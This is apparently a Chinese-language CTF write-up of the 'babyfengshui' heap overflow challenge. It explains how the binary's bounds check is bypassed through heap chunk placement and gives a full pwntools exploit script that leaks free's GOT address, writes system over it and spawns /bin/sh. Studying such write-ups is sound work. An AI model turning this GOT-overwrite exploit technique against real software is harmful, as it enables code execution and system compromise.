babyfengshui 堆溢出的入门题

本文 参考资料 

https://github.com/firmianay/CTF-All-In-One

感谢 作者的 无私奉献  若是侵权 请联系 本人 本人会修改或删除 

这道题 其实我也是看这篇文章才撸会的   

怎么说呢  这个题 本来 我也是有点迷糊的  补了一些  堆溢出的资料  就懂了许多 

这里我是结合资料 来写的 本人也是一个菜虾 要是哪里不对 还请指教

babyfengshui 堆溢出的入门题_第1张图片

 

babyfengshui 堆溢出的入门题_第2张图片

 然后我们都进函数看一下 

babyfengshui 堆溢出的入门题_第3张图片

 babyfengshui 堆溢出的入门题_第4张图片

babyfengshui 堆溢出的入门题_第5张图片

babyfengshui 堆溢出的入门题_第6张图片

典型的 菜单题 ~~~~~~ 

大概的流程 大概就懂了    先说一下 是怎么申请的空间  可能这里对指针学的不好的同学看来可能会有些绕  

字体不太好  大家看的清楚就好  然后  它的堆保护策略是  

(char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4

其实 翻译过来 就是  user[i]->description+size(text) > user[i]-4  

有上面那个图 就好解释多了 但是 假如  我们  做一些手脚呢  

假设  (这里是跟着作者的 wp 写的  )

 

 

大家要是看不懂图 可以 看着下面的话理解(毕竟我心里还是有点数的)

它既然这样验证的话  我们如果构造 中间有堆的情况 那么 中间的堆 就可以 让我们随便利用 还能 用  2打印出我们想要的东西~~~~

首先要知道 堆的策略  堆优先考录 被释放的 地址  比如说   我先释放了  0x80字节的地方  再申请 小于 0x80的地方 它就会 占用我们  刚释放的地方 但是如果大于的话  就没有办法  只能找其它空间了 

由于堆的字节对齐机制造成的,简单的说堆块是以8字节进行对齐的(x64为16字节) 

我画的图 其实就是这个意思  (虽然我自己都看不出~~~)

我们可以先申请 两个空间 都是0x80     然后 我们再释放第一个空间  那么就会有  description的0x80和 结构体的0x80空间

然后  我们再申请  description0x100的空间  那么我们刚释放的0x100空间就正好被填充  

它只能去后面找    那么 这个 安全的策略就被我们绕过了 (这个图最下面的第一个 d 是 3的d)

那么我们就可以为所欲为的 干事情了

值得一说是 堆前面会有数据标记 堆什么的    然后32位占 8字节  64位占16字节  

然后   思路就是  添加两个user 然后第三个 存放/bin/sh  然后删除第一个user  造成堆溢出 ,并修改第    2    个    user    的    user>desc 为  got的free   然后得到 system的地址  然后修改user的  最后删除第三个 user  触发 system('/bin/sh')

 

这里照搬  上面网址的 exp

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./babyfengshui'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('babyfengshui')
libc = ELF('libc-2.19.so')

def add_user(size, length, text):
    io.sendlineafter("Action: ", '0')
    io.sendlineafter("description: ", str(size))
    io.sendlineafter("name: ", 'AAAA')
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

def delete_user(idx):
    io.sendlineafter("Action: ", '1')
    io.sendlineafter("index: ", str(idx))

def display_user(idx):
    io.sendlineafter("Action: ", '2')
    io.sendlineafter("index: ", str(idx))

def update_desc(idx, length, text):
    io.sendlineafter("Action: ", '3')
    io.sendlineafter("index: ", str(idx))
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

if __name__ == "__main__":
    add_user(0x80, 0x80, 'AAAA')        # 0
    add_user(0x80, 0x80, 'AAAA')        # 1
    add_user(0x8, 0x8, '/bin/sh\x00')   # 2
    delete_user(0)

    add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free']))    # 0

    display_user(1)
    io.recvuntil("description: ")
    free_addr = u32(io.recvn(4))
    system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
    log.info("system address: 0x%x" % system_addr)

    update_desc(1, 0x4, p32(system_addr))
    delete_user(2)

    io.interactive()

 

你可能感兴趣的:(栈溢出,堆溢出)